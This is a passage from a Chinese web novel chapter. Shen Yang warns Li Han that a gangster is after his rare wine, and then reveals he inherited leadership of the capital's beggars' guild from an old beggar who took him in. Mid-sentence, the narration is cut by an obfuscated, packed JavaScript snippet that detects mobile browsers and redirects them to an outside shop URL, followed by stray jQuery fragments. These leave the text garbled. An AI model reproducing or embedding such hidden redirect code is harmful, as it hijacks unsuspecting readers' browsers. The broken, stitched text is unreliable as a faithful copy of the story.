沈样坐直了身子，把醒酒汤一口喝了，抹了抹嘴，目光定定地看着他：


    “因为崔喜来这个人，不是谁都能搭上线的。他在宫里待了二十三年，伺候过两代帝王，尚膳监的实权人物——这样的人，你以为是送一坛酒就能见着的？”


    李涵没有接话。


    沈样往前探了探身子，声音压得极低：


    “你知道同丰街那栋宅子值多少银子吗？那个地段，两进的院子，没有一万两拿不下来。一万两——你家夫人说送就送了，而且送得悄无声息，连我这种专门打听消息的人，也是过了大半年才偶然得知的。”


    李涵心里震动，面上却不露分毫。


    他端起茶壶给沈样又倒了一碗汤，不动声色地说：“你今晚喝这么多酒，就是为了打听这个？”


    “我打听什么？”沈样苦笑了一声，往椅背上一靠，“我今晚是被人灌酒的。你知道灌我酒的是谁吗？”


    “谁？”


    “西城的赵大发。”


    李涵手里的茶壶顿了顿。


    赵大发——这个名字他在京城混了这些年当然听过。


    西城最大的赌档、三家妓院、两间当铺，背后都是赵大发的势力。


    此人在京城地面上算一号人物，虽然不是顶流，但手底下养着百十号人，黑白两道都吃得开。


    “他灌你酒做什么？”


    “他想买你那个山河醉。”沈样直截了当地说，“不知道从哪儿听说的，说我认识一个卖酒的掌柜，手里有几坛稀罕货。今晚把我请到他的酒楼里，好酒好菜地供着，拐弯抹角地套我的话。”


    李涵的心提了起来：“你怎么说的？”


    “我能怎么说？”


    沈样摊了摊手，“我说我就是个穷书生，哪认识什么卖酒的掌柜。他不信，又灌了我三杯，还让两个姑娘陪着我喝。我实在扛不住了，只好说认识一个朋友在城南开铺子，但具体卖什么酒，我不清楚。”


    “然后呢？”


    “然后他就放我走了。”沈样看着李涵，目光里带着几分歉意，“但我出来的时候，发现有人在巷口盯着我。李涵，你那些酒，怕是已经被人盯上了。”


    月光下，两个人都沉默了。


    后院里安静得只剩下虫鸣声。刘三蹲在灶台边上，假装在收拾碗筷，耳朵却竖得老高。


    李涵沉默了很久，才开口问了一句：“赵大发怎么知道山河醉的事？”


    “这我就不知道了。”沈样摇了摇头，“但你想啊——你送酒给崔公公，崔公公收了，这事儿虽说不大，但崔公公身边的人、那个少年小崔，他总得跟人说一声吧？说来说去，风声就走漏了。京城这个地方，没有不透风的墙。”


    李涵点了点头，若有所思。


    沈样见他不说话，以为他是担心了，便拍了拍他的肩膀：“你也别太紧张。赵大发这人虽然手黑，但他讲规矩。他想买你的酒，不是要抢。他要真想硬来，今晚就不是请我喝酒，而是直接砸你的铺子了。”


    “我不是担心这个。”李涵说，“我是在想——夫人说过，第一批酒只有六坛，要卖给最合适的人。赵大发……未必是夫人想要的那种客人。”


    “那你想卖给谁？”


    李涵没有回答，只是看着天上的月亮，忽然问了一句：“沈样，你在京城这些年，除了读书画画，还做些什么？”


    沈样愣了一下，随即笑了：“我能做什么？穷书生一个，靠着给人写信、画几张花鸟赚点糊口钱。”


    “真的？”


    这两个字从李涵嘴里说出来，语气平平淡淡的，却让沈样的笑容僵了一僵。


    两个人对视了片刻。


    沈样先移开了目光，低头看着桌上那只缺了口的茶碗，手指在碗沿上慢慢地转了一圈。


    “李涵，”他声音低了下去，“你什么时候看出来的？”


    “不是看出来，是感觉出来的。”李涵说，“你在城南住了三年，没有正经差事，没有固定进项，却能一直住下去，从来没断过炊。你那些书、那把琴、那把缺了嘴的紫砂壶——都不是一个真穷的人会置办的东西。真穷的人，会先把这些卖了换饭吃。”


    沈样没说话。


    李涵继续说：“还有——你知道赵大发请人喝酒，知道崔喜来的底细，知道我那些酒已经被人盯上了。一个穷书生，不该知道这么多。”


    月光下，沈样的表情变了又变，最后化成了一声低低的苦笑。


    “你这个人，”他摇了摇头，“看着老实，心里头比谁都明白。”


    他沉默了一会儿，像是在回忆什么很久远的事。月光照在他脸上，那张消瘦的面容忽然多了几分说不清道不明的神色。


    “三年前，”他终于开口，声音很轻，“我进京赶考。盘缠被偷了，身无分文，饿了两天，蹲在城隍庙的墙根底下等死。”


    李涵一愣。


    这些事情，沈样从未跟他说过。


    “那时候我以为自己完了。读了十几年的书，家里砸锅卖铁供我来这一趟，结果连考场都没进去，就把命丢在京城了。”沈


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392517|195428||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    样说到这里，嘴角扯了一下，像是在笑，又像是在忍什么。


    “后来有个人救了我。”


    他抬起头，看着天上的月亮，目光变得很深很远。


    “是个年轻小姐，坐着马车从城隍庙前过。她掀开帘子看了我一眼，就让身边的小厮给我送了一碗热粥、两个馒头，还有二两银子。我那时候饿得连站都站不稳，趴在地上磕头，只听见马车里有个声音说——‘先别谢，吃饱了再说’。”


    李涵的心忽然提了起来。


    他隐约猜到了什么。


    “那二两银子够我活半年。”


    沈样继续说，“但光有银子不行，我那时候连个住的地方都没有。那位小姐又让小厮带我去找一个人——城东一个老乞丐，姓孙，大伙都叫他孙老头。”


    “孙老头？”


    “对。”沈样点了点头，“我一开始以为就是个普通的老乞丐，脏兮兮的，瘸了一条腿，住在城东破庙里，靠乞讨过日子。但他对我很好，收留了我，把他的铺盖分了一半给我，自己睡在稻草上。”


    沈样的声音渐渐低了下去，带着一种说不清的感慨。


    “后来我才知道，孙老头不是普通乞丐。他是丐帮的帮主——京城七十二坊，每一条街巷、每一个巷口，那些要饭的、跑腿的、传话的、看门的，都听他的。他在这个位子上坐了二十年，手底下管着上万人，但他一辈子住在破庙里，穿得比谁都破烂，吃得比谁都差。”


    李涵怔住了。


    “他跟我说——‘孩子，你以为丐帮帮主是什么？是穿金戴银、前呼后拥？不是的。丐帮帮主是最穷的那个，是最不起眼的那个。因为只有这样的人，别人才不会防备，才肯跟你说真话。’”


    沈样说到这里，眼眶有些发红，但他很快就别过头去，假装在看墙角的阴影。


    “他在我身边待了两年，手把手地教我。教我怎么看人，怎么听话，怎么在京城这个地界上活下来。甚至教给我他的独门绝技。他知道我读书的底子好，就让我继续读书，别丢了功名的心思。他说——‘你跟我不同，你有前程，不能一辈子蹲在墙根底下’。”


    “后来他病倒了。”


    沈样的声音更低了，“病得很重，我拿那位小姐给的银子请了大夫，但大夫说他是积劳成疾，年纪大了，底子亏空了太多，药石难医。他走的那天晚上，把一枚铜牌塞到我手里，跟我说——‘从今天起，你是帮主了’。”


    他从怀里掏出那枚铜牌，放在桌上。